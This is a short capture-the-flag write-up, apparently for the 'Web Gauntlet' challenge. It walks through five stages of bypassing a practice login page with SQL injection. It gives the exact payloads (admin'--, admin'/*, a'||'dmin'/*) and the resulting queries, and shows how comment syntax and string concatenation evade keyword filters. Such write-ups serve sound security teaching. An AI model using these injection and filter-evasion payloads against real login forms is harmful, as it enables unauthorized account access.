Web Gauntlet writeup

Web Gauntlet has two links for the problem: the first link is a login page vulnerable to SQL injection and the second is a page of the SQL filters.

PREFACE:

Entering single quotation marks in the input fields result in the page printing the SQL Query that is sent to the user

```
SELECT * FROM users WHERE username=’’ AND password=’’
```

PROBLEM 1 OF 5:

The SQL filter page shows that OR is the only filtered element

Entering the following string in the username input field solves the problem: `admin’--`

The SQL query sent is:

```
SELECT * FROM users WHERE username=’admin’--’ AND password=’’
```

This comments out the password section of the query

PROBLEM 2 OF 5:

The SQL filter page shows that “--” is filtered

Entering the following string in the username input field solves the problem: `admin’/*`

The SQL query sent is:

```
SELECT * FROM users WHERE username=’admin’/*’ AND password=’’
```

“/*” is a different syntax for an SQL comment resulting in password section not being part of the query

PROBLEM 3 OF 5:

Same as PROBLEM 2 OF 5

PROBLEM 4 OF 5:

The SQL filter page shows that “admin” is filtered

Entering the following string in the username input field solves the problem: a'||'dmin'/*

The SQL query sent is:

```
SELECT * FROM users WHERE username=’a'||'dmin'/*AND password=’’
```

“||” concatenates two strings together meaning that ‘a’||’dmin’ becomes ‘admin’ bypass the filter

PROBLEM 5 OF 5:

Same as PROBLEM 4 OF 5

Flag can be found in the filter link